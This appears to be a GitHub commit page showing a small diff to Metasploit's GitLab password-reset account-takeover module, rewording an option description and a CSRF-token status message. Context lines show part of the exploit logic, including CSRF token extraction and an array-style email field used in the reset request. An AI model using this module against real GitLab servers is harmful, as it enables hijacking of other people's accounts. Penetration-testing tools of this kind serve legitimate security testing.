Skip to content

Commit 779da83

Browse files
committed
gitlab password reset account takeoever review
1 parent e6c4195 commit 779da83

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def initialize
4444
register_options(
4545
[
4646
Opt::RPORT(80),
47-
OptString.new('TARGETEMAIL', [ true, 'The email address to compromise' ]),
47+
OptString.new('TARGETEMAIL', [ true, 'The email address of the account to compromise' ]),
4848
OptString.new('MYEMAIL', [ true, 'An email address to also send the password reset email to' ]),
4949
OptString.new('TARGETURI', [true, 'The path to GitLab', '/'])
5050
]
@@ -62,7 +62,7 @@ def run_host(_ip)
6262
fail_with(Failure::Unreachable, 'No response received') if res.nil?
6363

6464
fail_with(Failure::UnexpectedReply, 'Unable to find CSRF token') unless res.body =~ %r{<meta name="csrf-token" content="([^"]+)" />}
65-
print_good("CSRF Token: #{::Regexp.last_match(1)}")
65+
print_good("Received CSRF Token: #{::Regexp.last_match(1)}")
6666
vprint_status('Sending password reset request')
6767
email_field_equals = "#{CGI.escape('user[email][]')}="
6868
res = send_request_cgi(

0 commit comments

Comments
 (0)